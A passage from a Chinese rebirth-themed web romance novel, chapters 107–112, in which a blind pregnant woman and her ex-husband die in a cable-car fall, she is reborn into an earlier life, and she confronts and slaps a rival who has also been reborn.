“南伊,你还记得我们刚结婚那会儿吗?你特别爱听鬼故事,胆子又特别小,每次讲到精彩的地方,你就往我怀里钻,然后我们两个就开始闹,闹着闹着,我们就接吻,然后……”
“够了霍时序。”
他还在这儿怀上旧了。
宋南伊根本不想听这些陈芝麻烂谷子,推开他,摸索着下床。
他急忙起身,将她扶住,“去哪儿?”
“去厕所。”
她不在再跟霍时序睡一张床上。
怕他兽性大发。
怕他借题发挥。
……
清晨一早。
路姐从院子里进来,“先生,太太,陆先生来了。”
话音刚落。
陆为谦一步迈进客厅。
身后还跟着高大强壮的宁时。
“你们……来我们家干什么?”霍时序提起警惕。
陆为谦没有客气,直言,“我来接南伊回去。”
“你说什么?”霍时序听得好笑,咬起牙根,有些恶的反问,“你来接她回家?她是你什么人?陆为谦,你真把自己当成南伊男朋友了?”
“霍时序,我们的身份是一样的,对南伊来说,都是不附带任何关系的……男人。”陆为谦抬腕看了眼时间,毫不客气的说,“进门之前,我已经报了警,半个小时内,警察应该能到,你是现在放人,还是等警察来再放,你自己选。”
第107章 陆家少爷娶霍时序前妻
霍时序笑了。
他真没想到,有一天,陆为谦会为了所谓的爱情,冲锋陷阵到这种地步。
他应该给这个深藏不露的男人,一个掌声,还是一个巴掌?
“警察来了,也带不走人,这是我家,宋南伊是我老婆。”
他双腿交叠,坐进沙发里。
目光所至,尽是掌控。
三个男人,就这么僵硬地对峙着。
直到……
路姐搀扶宋南伊从楼上下来。
宁时健步上前,将她从路姐手里接了过来,“宋总,我们来接你回家。”
“宁时,我爸情况怎么样?”她始终担心父亲的病情。
“宋先生他情况还算稳定,就是一直挂念着你。”宁时扶着宋南伊,小心翼翼地坐下来,“您看,要不要去医院看看他。”
“是要去的,一会儿我就跟你们走。”
霍时序不同意。
坚持要跟着,“那我就陪你一起去,顺便让爸安心。”
“只要你离开南伊,宋叔就会安心。”陆为谦淡淡的提醒。
霍时序听得头疼,蹙眉看向他。
他没跟陆为谦吵。
脸色也不好看。
宋南伊看不见,但可以想象到二人的剑拔弩张。
她空洞的望着前方,说话,“霍时序,我要去趟医院看一眼我爸,你就别跟着了,刚刚宁时跟我讲凤姨已经来了,我有凤姨照顾,生活不是问题。”
她之所以耐心地跟霍时序讲这些。
就是想顺利地离开这里。
霍时序没反对,也没有赞成。
轻轻地握住了她的小手,温温柔柔地说,“那我送你去医院。”
她点头,算是同意了。
只要他放她走就好。
霍时序亲自开着车,送宋南伊去医院。
路上,他想叮嘱几句,让她好好照顾自己。
最终化成了一抹不舍。
他舍不得放她离开。
“南伊,你还会回来吗?”
“南伊,我们还会重新开始吗?”
“南伊,我能去看你吗?”
宋南伊没有给他答案。
在霍时序看来,他不配得到这样的机会。
也是。
她从未答应过,给他机会。
自嘲地笑了笑,面上柔软又无助,“没关系,我们一定会有一个好的结果的。”
霍时序的自信。
宋南伊不敢苟同。
如今,她眼睛看不见,父亲还在生病。
力不从心。
也没有反驳他。
车子停好后。
宁时扶着宋南伊下了车。
霍时序想跟上,被陆为谦伸手拦下,“到此为止吧,你这样纠缠下去,会让所有的人难堪。”
“陆为谦,以我对南伊的了解,她不可能怀着我的孩子嫁给你,到时谁会难堪?”他不得不提醒眼前这位大律师,“就算她愿意嫁给你,你们陆家也不可能接受,这样的女人进门,除非你离开陆家,可是你舍得吗?你有这个胆量吗?”
陆为谦笑了。
或许以前没有这样的胆量。
当他确定自己的决心后,他现在比任何时候,都勇敢。
“我有一位体面的工作,离开陆家,我照样能养活妻儿,不试试,怎么知道呢?”
霍时序笑他嘴硬。
陆家继承人意味着什么?
除了财富,还有身份,地位,还是盘根错节的关系。
陆为谦想离开就能离得开?
强行离开,只有一个结局,那就是被陆家当成弃子。
且不说他这律师的工作保不住,在江城,他将寸步难行。
自己都养不活,还想要养别人?
做梦。
“看来,你很希望看到,陆家少爷娶霍时序前妻,被家族扫地出门,这样的新闻……哦不对,这样的不算新闻,算是花边,八卦,没人祝福的。”
“真心相爱就好,祝不祝福,我不在乎。”他很坚定。
霍时序挑了下眉梢。
顺手给陆为谦竖了个大拇指。
满眼戏谑。
嘲笑他的一厢情愿,痴人说梦。
……
病房里。
宋知令看着宋南伊失去光泽的眼睛,忍不住掉泪。
“怎么突然就失明了呢?医生说什么时候能好啊?”
宋南伊这几天已经适应了黑暗,暖心地安慰父亲,“发烧烧的,不过没关系,医生说了,只是暂时的,说不定哪天我就看到了。”
宋知令心疼坏了。
说什么也要回家,照顾宋南伊。
她怎么也劝不住。
“我真的没事的。”
“不行,我要出院,让医生开药,只要按时服药就行,爸这是老毛病了,死不了,我们一起回家。”
宋南伊拗不过宋知令。
只得让宁时去办了出院手续。
一起回了宋家。
凤姨负责照顾她和父亲的饮食起居。
宁时负责家里家外的一些粗重的活。
陆为谦每天都会过来看望她和父亲。
陪着她聊聊天,说说话。
裴吟周末会带她去咖啡厅坐坐,感受人间烟火气。
可能是心情好了,宋南伊隐约感觉自己的眼睛有了些许的光感。
不再像从前那样黑茫茫的。
“凤姨,今天我们去东华山祈福,东西都准备好了吗?”
“陆律师说过来,陪咱们一起去。”凤姨边收拾,边说。
宋南伊听说陆为谦最近跟陆家闹得很凶,原因大部分因为她。
有些报道,说得很难听。
她是有一些困扰在的。
想着慢慢跟他疏远。
“凤姨,你给陆律师打个电话,就说,我们已经走了,别让他过来了。”
“好的,小姐。”
凤姨打完电话。
就推着轮椅带宋南伊出了门。
东华山是江城最大的山。
山顶的福顶宫,很灵,心诚的人,往往会从山脚爬到山顶,以求得最灵验的祝福。
宋南伊眼睛看不见。
她预约了索道上山的票。
到时让凤姨陪着她坐过道去山顶。
出门时,艳阳高照,到达东华山时,已经阴起了小雨。
乘坐索道人,渐渐多了起来。
突然。
凤姨手中的轮椅被一双大手接了过去。
她惊愕,“……霍先生?”
“我来吧,这里人多,我怕你照顾不好南伊。”霍时序自然而然。
凤姨也没跟他抢。
这人是多。
人挤人的。
便跟在旁边慢慢地走着。
“你怎么到这儿来了?”宋南伊怀疑霍时序跟踪她,“一路跟过来的?”
“我每天都在关注着你。”
检票。
缆车过来。
霍时序抱起宋南伊,坐了进去,对要上缆车的凤姨说,“你在山下等着我们,看好轮椅。”
“……小,小姐,这样行吗?”
没等凤姨说完。
缆车已经走了。
从山底到山顶,缆车要坐差不多一个小时。
速度很慢。
可以观赏沿途的风景。
宋南伊的眼睛,可以隐约看到满眼的绿,但是看不清具体的。
只是那样空洞地望着。
“以前,我们一起来爬过这山,还在山顶的寺庙里,求过子,你还记得吗?”
男人的声音很轻很柔。
指尖不自觉的触碰着女人的手背。
前世的那段回忆,很美好。
宋南伊记得。
来求子后的第二个月,她就怀孕了,那时,苏语安出现,她跟霍时序关系开始僵化。
第108章 我会再嫁
她浅浅垂睫,“不记得。”
“南伊,不管你这辈子,会不会原谅我,我都会好好地照顾你们母子,不会再娶。”
她看不清他。
或许他说的是真的吧。
男人嘛,承诺起来的时候,挺像个人。
只是与她无关。
“那是你的事情,我以后还会再嫁。”她打破了他的自我感动,“霍时序,你有权过你自己想要的生活,但请你不要来打扰我。”
“你要嫁给谁?陆为谦吗?你明知道,陆家是不可能接受……他们连离过婚的女人都不会接受,怎么可能会要一个怀着孩子的女人,何况你怀的还是我的崽。”
陆家不需要一个继子来继承家业。
更不可能任由陆为谦,在婚姻大事上,任意妄为。
“我就非得嫁给陆为谦吗?天底下的男人都死光了,就非得在你和他之间二选一?”她是有多么的不堪,非得让这些男人选来选去,“霍时序,我可以嫁给任何一个男人,只要他足够爱我,只要他在我需要他的时候,不抛下我就可以。”
霍时序沉默了。
她还在记着前世的仇恨。
该记。
那时他,是个浑蛋。
“给我个机会,我保证以后……”
“够了。”她不想听这些,“霍时序,今天我是来为我的宝宝和父亲祈福的,你要没的聊,可以闭嘴,让我安静一会儿。”
霍时序果然就闭嘴了。
宋南伊虽然看不清外面的世界,但脸依然瞥向了外面。
肚子里小宝宝动了一下。
幅度很大,透过薄薄的孕妇衣,拾进了霍时序的眼底。
“他是不是动了?”他震惊,半蹲下去,将脸贴到她的肚子上,“南伊,他动了,他在跟我打招呼对吗?我们好像还没有给他取名字,你说叫什么好?”
前世,宋南伊不知道生的是男孩还是女孩。
宝宝出生之前,她给取过很多小名。
小麦芽,小纽扣,小青柠,她希望生个小可爱来着。
可惜……
“不知道。”她有些神伤。
霍时序很兴奋,他脑海里一下涌出了好多奇奇怪怪,又可可爱爱的名字。
“女孩的话就叫小甜筒,男孩的话就叫小核桃,好不好?”
他望着她。
渴求着她能认可。
宋南伊黯然地看着他的眼睛,许久,“霍时序,我们前世的宝宝,是男孩还是女孩?”
霍时序的笑,凝滞在了唇角。
他低低地垂下脑袋。
犯了错一般的,沉默起来。
耳边有风吹过。
就像前世那场未来及消化的婴儿啼哭声。
“那也是我怀胎十月生下的宝宝,他甚至都没有看一眼他的妈妈,没有吃一口母乳,就被丢进了福利院,霍时序,你真的好狠……”
她捂着胸口。
心像被刀子割开。
她也想放下。
她也想忘记。
但她放不下,也忘不掉。
缆车顶上的轮子,发出吱吱呦呦的声响。
缆绳的弧度越大,声响越沉闷。
雨下大了,索道下的丛林,升腾起白蒙蒙的山雾,恍若仙境一般。
风景很美。
可惜宋南伊看不见。
他望着她没有焦点的眼睛,暗暗想着,等她眼睛好了,一定要带她去全世界最美丽的风景。
不。
还有他们的孩子。
前世,他未来得及爱的孩子。
他们一家三口,一起去看这世界上最璀璨的风景。
他要向全世界宣布,他的爱。
他爱她,爱孩子,毋庸置疑。
今天的缆车格外的慢。
走到半路上,竟然停了下来。
有扩音喇叭发出温馨提醒,“因雨势过大,造成缆车故障,已经在积极抢修,大家少安毋躁。”
宋南伊是有点慌的。
东华山,她从小爬到大,缆车索道,从来没有出过问题。
外面到底下了多大的雨啊。
“雨很大吗?”宋南伊问向霍时序。
霍时序回,“算是中雨吧。”
中雨不应该故障停修。
大家都困在半空中,这很容易让人产生恐慌的。
尤其是风很大。
吹得缆车四下乱晃。
“别怕,不会有事的,应该一会儿就好了。”霍时序脱下外套,披在宋南伊的身上。
他紧紧地靠她坐着,生怕因为缆车的晃动,让她坐不稳。
山雾越来越大。
相邻的缆车,也在风雨飘摇中,渐渐模糊,看不清楚。
像是到了异世界。
那里没有别人,只有他和她。
宋南伊看不见。
指尖紧紧地握着围栏,风一吹一晃,她的心跟着一哆嗦。
“嘎吱。”
缆车顶上传来了不和谐的声音。
旋即,风吹了起来。
缆车晃得厉害,像要在缆绳上打转。
宋南伊害怕极了。
“缆车会不会掉下去?霍时序,现在缆车到底是什么情况?”
霍时序透过透明的天窗,看向挂着缆车的轨道,有一处,好像是出了问题。
像是断裂。
也像是松动。
“没事,别怕。”
他安慰着宋南伊,自己心里却没有底。
这里高达百米,如果缆车脱落,掉下去,必死无疑。
他死不要紧。
宋南伊还怀着宝宝,他不能眼睁睁地看着她出事。
缆车在半空中,吱吱呀呀地随风摆动着。
猛的。
缆车上方的两处链接中的其中一处,‘砰’地绷断了什么。
缆车瞬间倾斜。
霍时序眼疾手快的,将宋南伊抱紧,自己的后背重重地摔在了,原本是左右两侧的玻璃上。
“发生什么了霍时序,我们要死了吗?”
宋南伊不敢动。
她伸手去摸索什么,被霍时序握住了手,“缆车怕是要撑不住了,乖,搂紧我的脖子,别怕。”
他会高高地举起她。
不会让她受一丁点的伤害。
有些罪过,始终是要还的。
他挺庆幸的,能有这么个机会。
“南伊,抱紧我。”
“我们真的要死吗?”宋南伊真的吓住了。
她要死了?
为什么偏偏是在她怀孕的时候。
“怕是凶多吉少。”
他尝试着给园区和救援打电话。
但这山里基本没有信号。
连号码也拨不出去。
他抱紧了她,用最后的温柔,在她的脸上吻了一下,“南伊,对不起,这辈子我……可能,就陪你走到这儿了,来生,我一定不做错事,一定不会让你伤心难过。”
他在说着临终遗言。
宋南伊一个字都听不进去。
她想自救。
这种想法,现在也不现实。
等死吗?
真的要等死吗?
“霍时序,如果我们今天死了,来世,我们就不要再相见了。”
他娶,她嫁,各不相干。
那才是最好的结局。
第109章 他愿意做她一辈子的舔狗
风吹透了玻璃。
在这个初夏的季节,透骨的寒。
她刚刚感受到了胎动,却不得不面对与这小小生命的诀别。
他们之间的缘分,就是这样浅薄。
宝宝,两世了,我们都做不成母子,下次不要再来找我了,去找别人做妈妈吧,你会拥有一个很幸福的家,妈妈只能陪你到这儿了。
宋南伊酸楚,想哭。
两世,她和宝宝都没能好好的见上一面。
老天爷不是可怜她,让她重生,她大概是犯了天条,下来历劫来了。
雨,仿佛也在为这段未尽的缘分默哀,滴滴答答……
……
凤姨听到了园区的广播。
同许多前来上山祈愿的游客一般,担心着那些停在半空中,一动不动的游客。
“这样老停着也不是办法啊,这风雨交加的,万一出了问题,那可怎么办啊?”
“谁说不是呢,这东华山的索道,可是有年头了,听说一直没有检修。”
“那可怎么办啊,我们家人还在上面呢,景区怎么回事啊,怎么还没有修好啊,不行就放他们下来,老飘在半空中,太危险了……”
游客们叽叽喳喳。
凤姨心里没底。
一个劲的来回踱步。
“凤姨。”
陆为谦撑着伞走了过来。
凤姨看到他,紧张的心情越发的焦燥起来,“陆律师,霍先生和小姐一起坐上索道缆车去山顶,现在还在半空中困着呢,你看这风这么大,雨也一直下,我好担心他们……”
陆为谦抬眸,看向被雨雾遮掩的索道。
缆车只有就近的几个可以看得清。
其余就跟消失了一样。
他目光深邃,忧心,“打救援电话了没有?这样很危险。”
“听说园区的人正在检修,这都在半空中荡着,就算是救援来了,救也没法救啊。”
凤姨搓着手。
不知该如何是好。
陆为谦拿出电话,拨打119.
没信号。
根本拨不出去。
“凤姨你在这儿,等消息,我去山外打救援电话。”
“麻烦你了陆律师。”
闪电撕碎,这本不属于白天的黑。
凤姨和众多等待的游客一样。
担心着缆车里的亲人。
缆车里的两个人,安静得可怕。
生怕发出一点动静,就能令这脆弱不堪的螺丝断掉。
“南伊,我手机通讯录里,写了一份遗嘱,如果我死了,你就交给江淮,他知道该怎么办。”
霍时序把手机,塞给了宋南伊。
宋南伊又转手塞了回去。
“你死,我就能活吗?我们处在同一个位置,你活不了,我一样是死,还是让江淮收尸的时候,自己找你的手机吧。”
她闭起眼睛。
将脸搁在他的肩头。
这样的距离,她不喜欢,但没办法。
呼吸温热,洒在他的颈侧。
等待着死神的降临。
他望着她的侧脸。
很想在人生最后一时刻,吻她。
“南伊。”他的声音掺在雨声和风声里,格外的细弱。
宋南伊淡淡的嗯了一声。
“你有什么心愿没有?”
人真正面临死亡的时候,只有一个想法,那就是活着。
至于电视上演的,又放不下这,又放不下那的,根本就不现实。
“没有。”
“我有。”他说。
宋南伊哦了一声,没再往下接茬。
“你可以原谅我吗?看在我要死的份上?”
宋南伊缓缓掀起眼睛,她看不清霍时序此时的表情。
但他挺执着。
不想着怎么活下去。
总想让她原谅。
“原谅不了。”她没给他台阶下。
他死归死。
但债不能一笔勾销。
一条人命,抵不了三条人命,况且她再死一次,就是四条人命。
虽然……这次死不能计在霍时序的身上。
但也是要死的。
都要死了,还这么多要求。
她挺烦的。
“别说话了,行吗?”她想安静一会儿。
“南伊……”他又唤她。
宋南伊刚要骂他几句。
他便摁住了她的后脑,吻上了她的唇。
在生命的最后时刻,让他大胆又放肆地吻她吧。
她刚要挣扎。
就听得脑袋上方,吱呦一声。
她吓得抓紧了他胸前的衬衣。
他的吻很温柔,拿捏着分寸,炙热,又克制。
前世,他们恋爱那会儿。
她很喜欢跟他接吻。
他很会吻,通常会一寸一寸地侵蚀她的意识,接吻最后会变成男女之事。
他前戏会做得很足。
总在她受不住的时候,勾笑着唇,问她,要不要。
宋南伊会面红耳赤的,扯过毯子盖住脸,口不由心地说不要。
那种过往。
宋南伊不敢去想。
像一个梦。
梦里的霍时序很爱她,爱到全江城的人,都说她给他下了蛊。
这样的过往,伤人伤得厉害。
他压抑着呼吸,离开了她的唇。
“其实,能死在你面前,挺好的,人不是都有机会,跟爱的人告别,你看我,多幸运。”
他眼眶红了。
像是不舍。
温柔,肆意地与她对视。
轻轻地将她的碎乱的头发,别到耳后,“南伊,你记得哦,我很爱你,一直爱着你,我从来没有爱过别人,往后每年的忌日,你来坟前看看我,我会很开心的,如果你愿意的话,带着宝宝,那样,我会更开心。”
不知道为什么,她听他说这些,很心酸。
可她也要死啊。
这么高,掉下去,不可能有生还的可能。
“霍时序你……”
“南伊,我从来没有后悔过娶你,追求你的那七年,是我一生中,过的最快乐的七年,如果让我再选择一次,我还愿意成为你的舔狗,一辈子的舔狗。”
他流泪了。
他挺想陪她一辈子。
哪怕挽回的过程很辛苦,他也愿意为之付出一切。
没机会了。
那枚生锈的螺丝钉,随时会将希望变成绝望。
他捧着她的脸,深深深地吻她。
他想让她记住他。
又想让她忘记他。
还是记住吧,他这个人挺自私的,记不住他这个人,记住他吻她的感觉,也行。
“霍时序,你干什么?”欺负她看不见。
吻起来没完没了的。
闪电再次撕裂云层。
缆车与缆绳摩擦出火花。
那枚生锈的螺丝钉,在雨水和风声中,疯狂地旋转着。
“砰”。
一声巨响。
缆车脱离了缆绳,迅速下坠。
失重感,恐惧感,让人几乎失去意识,跟着脱轨的缆车,疯狂地旋转。
霍时序抱紧了宋南伊,将她举高。
他保持着清醒,他只有一个信念,他要救她,用自己的生命……
“南伊,别怕,你不会死的,抱紧我……”
他用了平生所有的力气。
救她,是他唯一的信念。
缆车内,突然闪起一道光,亮得根本睁不开眼睛。
这是地狱的大门吗?
他要死了,死神真的来临了……
第110章 她确定,她死了
宋南伊身体痛极了。
像是被打碎,又重组了一样。
她想睁开眼睛,发现很困难。
耳边有隐隐约约的说话声……
“这老是发烧可怎么办啊?”
“我去给姐姐买一杯冰咖啡,她喝了会不会好点?”
“冰咖啡能喝吗?胃不要了?”
“那可怎么办啊?”
她好像听到了母亲和星言的声音。
眉心皱了几皱,这才费力地掀起了沉重的眼皮。
天花板是白色的。
吊灯是金色的。
她不是瞎了吗?
怎么突然就恢复视力了?
母亲放下手中湿漉漉的毛巾,温柔地摸了摸她的额头,“你可算是醒了,霍家的司机说,要带你去什么慈善晚宴,刚走到咱家门口,发现你晕了,一时六神无主,就赶紧送家里来了。”
“姐,你好点了没有?”宋星言握着她的手,眼巴巴的。
眼前是母亲和星言焦急的脸。
宋南伊又缓缓地闭起了眼睛。
怪不得她能看见了。
人死病消,是真的。
她确定,她死了。
母亲和弟弟都在眼前。
错不了。
她叹息。
终究还是死了。
不过还好,来到阴间见到的第一个人,便是自己的家人。
还挺欣慰的。
只是有太多的抱歉,太多的心酸涌上心头。
“妈妈,姐姐怎么不理我们呀?”
“你姐她发着烧呢,正难受。”
“哦。”
耳边依然是母亲和弟弟的声音。
听得她眼窝发热。
死后会跟亲人团聚也是真的。
那她还有什么可怕的。
再次,她睁开了双眼。
“妈,星言,对不起,是我不好,我对不起你们,我也没有照顾好我爸,我真的真的好没有用,我真的……呜……”
宋南伊哭了。
很委屈。
怎么也收不住。
南微和宋星言都吓坏了。
“姐,你别哭啊,你是不是很难受啊?”
“星言,赶紧的叫救护车,你姐这是烧糊涂了,这都开始说胡话了,赶紧的送医院。”
星言去打电话。
宋南伊在哭。
南微六神无主,便给霍时序打了电话。
接电话的是江淮。
“阿姨。”
“江特助,我们家南伊烧糊涂了,正准备送医院呢,时序呢?”
江淮一脸的无助,看向躺在病床上的男人,“阿姨,霍总他晕倒了,现在还不省人事呢?也是突然发生的事情,要不,您先照顾一下太太,等霍总醒了,我跟他讲。”
“啊?”南微错愕,“他没事吧?怎么突然就晕倒了呢?”
“也不太清楚。”
“那行吧,你照顾好你们霍总。”
南微挂断电话。
心急火燎地上了楼。
救护车到得很快,宋南伊被接去了医院。
她又昏睡了过去。
总是说胡话。
挂上点滴后,南微担心得不行,一刻也不敢离开她。
熬了三天。
宋南伊这总算才真正醒过来。
她看着四周的白,和鼻端浓烈的消毒水的味。
黯然神伤。
原来阴间也有医院。
人都死了,住不住院的又有什么关系。
家人的爱倒是真的。
哪怕变成了鬼,他们依然在爱着她。
“宋南伊,今天换药了,烧退得差不多了,再挂几天水,就能出院了。”
宋南伊抬眸看向年轻的小护士,失魂落魄地问,“出院后,我去哪里报道?”
“报什么道?”护士诧异地看了她一眼,“你该回家回家啊。”
回家?
宋南伊摇头。
她不知道阴间的家在哪儿啊。
“我家……”
“不会是失忆了吧?”小护士拿起床头的病例,又看了一眼,自言,“没伤着脑子啊,怎么还说胡话呢?”
宋南伊看着她。
眼睛里尽是单纯。
小护士不确定地又看了宋南伊一眼。
确定三番后,这才放下病例。
“要不……你再睡一会儿?”
“护士小姐,我现在哪儿?我走到哪个步骤了,过了鬼门关了吗?是不是还没有登望乡台?我还没有喝孟婆汤吧?”
小护士听得后背发凉。
咽了咽。
“宋小姐,你以后少看点灵异小说吧,怪慎人的,先休息吧,睡一会儿。”
奇怪。
护士怎么听不懂她的话呢。
仰头。
她望向漆白的天花板。
还以为,死了就没有意识了呢,她怎么感觉自己还像个活人啊。
狠狠地掐了一下胳膊。
“嘶……”疼,疼,很疼。
都变鬼了,怎么还有痛觉?
不对啊。
难不成……
她眼眸蓦地瞪大,收紧。
难不成,她又重生了?
是吗?
她记得在缆车在掉到地面的时候,有一道很亮的光。
那道光……是重生之门吗?
如果她又重生了。
那霍时序呢?
他活着,还是死了?
他会跟自己一样重生吗?
脑子好乱。
乱得她头疼。
南微拎着保温饭盒,走进了病房时。
宋南伊正抱着脑袋,绞尽脑汁,表情痛苦。
南微吓坏了。
赶紧把保温饭盒放下,紧张地抱住了女儿,“怎么了?又难受了?护士,医生……”
宋南伊抬眸看向母亲。
她还是那样的优雅漂亮,她就这么活生生地在自己面前。
好想哭。
“妈。”宋南伊眼眶泛起了红。
她抱紧了南微。
紧紧的。
妈妈的身体是热的,是活的,她的妈妈还活着。
真好。
“是不是头疼了?没事,再打几点针就会完全康复的,”南微心疼坏了,给宋南伊擦着眼泪,“哎哟,这么大人,动不动就哭鼻子。”
“妈……”宋南伊抱着南微不松开,“……我好想好想你啊。”
“好了好了,妈就是回家给你煮饭了,离开了一小会儿。不哭了,赶紧的先把饭吃了。”
“嗯。”宋南伊哭着点头。
宋南伊基本确定自己重生了。
因为饭是热的。
妈妈也是热的。
病房的电视,正的播着江城当地的新闻。
“由霍氏集团组织的慈善晚宴,由于霍时序总裁的缺席,宣布暂时延迟,让我们继续等待好消息。”
宋南伊怔了一下。
慈善晚宴?
那个她与苏语安见面的晚宴,取消了?
她看似无意地问了南微一句,“妈,时序呢?我生病这么久,他怎么也不来看我?”
“我还没跟你说呢,他病了,江特助说他在修养呢,不知道现在好没好。”
南微也是担心的。
霍时序到底是她的女婿。
“等你爸出差回来,我让你爸去看看他,你呢就先把自己顾好,知道吗?”
母亲慈爱,宠溺。
“嗯,好。”
宋南伊暗暗发誓,这辈子,谁也不要想再伤害到她的母亲和弟弟。
谁要对她家人动坏心思。
她就弄死谁。
……
第111章 苏语安也重生了
慈善晚宴在推迟一周后。
还是顺利举办。
一大早,江淮就来宋家接宋南伊回她和霍时序的家,准备晚上的宴会。
坐在车里。
宋南伊一直盯着江淮的后脑瞧。
瞧得他感觉脖梗都硬了。
“太太,您是不是有什么想问我的啊?您尽管问。”他皮笑肉不笑咧了咧嘴。
“霍时序他……病好了?”
她其实也不知道,该问什么。
她更不知道,霍时序会不会跟她一样重生。
江淮点头,“霍总劳累过度,昏迷了两天,现在人挺精神的,但是这几天忙着慈善晚宴的事情,没抽出时间去见您,您别生霍总的气。”
宋南伊:……
他忙着准备慈善晚宴?
他明明知道这个晚宴,是一切噩梦的开始。
还在……
是不是代表着,他根本没有重生。
“听说霍氏这次资助了一些人,有没有特殊的?”
江淮不敢乱讲,“倒也没什么特殊的。”
车子在家门口停下。
宋南伊看着熟悉的门牌号,怔忡不前。
“太太,等晚一些,我再来接霍总和您。”江淮恭敬地说。
宋南伊点头。
转身往里走。
一切都过于熟悉。
绿植,花草,还有那前世被苏语安砍掉的合欢树,正开的欢。
她是真没有想到,自己还能再重生一次。
感觉有点像打怪升级,没升上去,就打回原点。
是这个意思吧。
走进去。
霍时序在客厅里坐着。
“回来了?衣服给你拿来了,晚上你换上,慈善晚宴,你是主角,别丢了面子。”
他没抬头,腿上的笔记本开着,似是在处理工作上的事情。
好像……他也没什么变化。
至少在态度上,她还跟前两世一样的。
宋南伊没说话。
就站在门口的位置看他。
似乎是没有感受到宋南伊进来,霍时序抬眸望过来。
四目相对。
他眼中风平浪静。
她眸底却是波涛汹涌。
宋南伊的脑海里盘旋的是,他们临死前,他抱着她说的话。
“南伊,别忘了我,记得我忌日的时候,来坟前看看我,我那天会准时出现的,我会在天上看着你,你要跟我说说话,无论什么都好,我想听你的声音。”
那个霍时序……真的死了吗?
这个呢?
“怎么了?”他关上电脑,走到她跟前,抬手摸了摸她的额头,“不烫啊,这是什么眼神?不认得自己的老公了?”
他牵起她的手,来到沙发前坐下,“今天这个晚宴非常重要,我发起的,你是女主角,可别链子。”
他唇角的微笑里,透出丝丝的宠溺。
她多少有点不适。
“有多重要?”她望住他的眼睛,想从他的眼睛里找点什么东西。
可他太平淡。
像是前世,前前世的事情,他都没有经历过。
“我们要设立一个基金,用来帮助一些生活困难的人。”他微微笑着,看她的眼中满是爱意。
她睫毛微微翕动。
一瞬不瞬地问,“会向我介绍……一些人,认识吗?”
他愣了一下。
但却没有震惊。
眼神虽然没有闪躲,但却闪烁了一下。
她差一点脱口问他,是不是重生了。
刚要动唇。
霍时序微笑着,淡淡开口,并无异样地说,“确实有人要介绍给你,到时给你个惊喜。”
宋南伊在心底,骂了句巨脏的脏话。
他这次要敢把苏语安介绍给她,她就敢捅死这个小贱人。
先杀为敬,避免后面所有的悲剧。
“是吗?”她报以同样的温和的微笑,“那我定不能让霍总失望。”
重生对宋南伊来说是好事。
妈妈回来了,星言也回来了。
父亲身体好好的。
一切又恢复了原来的幸福模样。
唯一遗憾的就是,苏语安又会重新出现,她和霍时序又成了夫妻。
她的宝宝也……
摸着平坦的小腹。
宋南伊心中复杂万千。
……
小礼服很漂亮,无论是面料,还是设计,还是做工,都透着一股子知名设计师的味道。
前世,又或是前前世。
晚宴的当天,她都没有穿这么华贵的礼服。
“很美,今晚你一定是最耀眼的那一个。”他握着她的肩头,轻轻地吻了一下。
她望着镜子里这一高一矮的身体,笑问他,“你确定,不会有别的女人,抢我的风头。”
“我确定。”
他挺会哄人的。
无论哪一世。
宋南伊弯起唇角,回身,为她轻轻地整理着领结,指尖柔媚,“那万一有人要找存在感呢?”
“谁会这么不长眼,在我的场子……”他握着她的腰,微微俯身,几乎鼻尖相抵,“……放心,不会有人这么弱智。”
宋南伊笑靥如花。
霍时序牵着她的手,前往晚宴现场。
路上,宋南伊没有说话。
霍时序也是一样。
像是,各自揣着心事。
宴会厅,灯火辉煌,巨型的水晶灯如瀑布一般,洒下璀璨。
名流云集,觥筹交错间,尽显奢华与不凡。
宋南伊头一次静下心来,观赏这宴会的情形。
霍时序向来舍得花钱,换取利益。
一个慈善晚宴,聚焦了江城的达官显贵。
什么生意谈不成?
宋知令和霍明达,二位亲家,正在举杯交谈。
父亲年轻了,前世生病后的白头发没有了,生机蓬勃。
真好。
她挺感动的。
眼眶酸,想哭。
抬眼。
她看到江淮带着苏语安过来。
乖巧的模样,还像是朵小白花。
“我去洗手间。”宋南伊对霍时序说。
宋南伊是美的。
优秀的腰臀比,让包裹性极好的高档礼服,随着她的腰肢,摆动着。
诱惑。
令有垂涎。
霍时序看得眼睛泛了直。
当然,不止他一人。
但她是霍时序的妻子,觊觎她的男人,无论多优秀和肆意,只敢看,不敢擅自搭讪。
洗手间里。
她望着镜子中平坦的小腹。
失了神。
小手轻轻地搁在上面。
遗憾自喃,“宝宝,你已经去找别人做妈妈了对吗?你一定会是一个幸福的好孩子,我们没有缘分,你别怪我。”
“在这儿伤春悲秋呢,南伊姐。”
宋南伊抬眼。
镜子里是苏语安那张,扭曲又奸佞的脸。
她抱着怀。
看宋南伊,像看一个老熟人。
宋南伊心下一紧,难道她……也重生了?
“你……”
“南伊姐。”她几步走到宋南伊的身后,从镜子看着宋南伊的脸,“这老天爷挺公平的,你重生了,我也重生了,咱们都是明牌,各凭本事喽。”
苏语安挑衅的勾起唇。
一副不把宋南伊放在眼里的傲慢。
刚刚她还不确定。
直到看见宋南伊抚摸小腹,失神落魄的模样。
“前世,我死得挺惨的,这一世,我一定全部找回来。”她信心十足地说。
第112章 小茶婊要搞事情
宋南伊冷笑,讥诮回首,甩了她一个嘴巴,“重生想报仇?你有这个机会吗?既然你也重生了,你就该知道,前世你的结局是死,这一世也是。”
“你打我?”苏语安扬起手,要还一个,被宋南伊扣住了手腕,反手又是一个耳光,“打的就是你,苏语安,前世你害死了我弟弟,我母亲,别说你带着前世的记忆重生了,就是没重生,我也要弄死你。”
一巴掌哪能解前世的恨。
宋南伊抓起苏语安的头发。
从洗手间,一直拖到了外面走廊。
又掐又拧,又是扇巴掌。
每每有人路过。
苏语安就假惺惺地求饶,哭得楚楚可怜。
那些人都看不懂,宋南伊这是在干什么。
窃窃私语。
刚好,江淮也看到了,这在暗处的一切。
他刚要上前询问,被背身的男人抬手挡下,“干什么去?”
“霍总,太太和苏语安好像起了争执……”他抓了两下头发,想不通地说,“……也是奇怪,她们两个怎么会撕扯起来,应该是第一次见面吧?”
霍时序没说话。
眼眸黯下。
“你好好看着,别让南伊吃亏。”
江淮:……呃????
苏语安看到了江淮。
用可怜兮兮的目光求救。
江淮看了她一眼,转头跟上霍时序的步子,跟某集团的老总,聊业务去了。
她懵了。
这是什么情况?
他不应该赶紧告诉霍时序,让他来喝斥宋南伊不懂事的吗?
“江……”
话音未落。
又被宋南伊摁下,扇了几巴掌。
有几位出席晚宴的女士。
还是在犄角旮旯里,发现了这场不动声色的‘战争’。
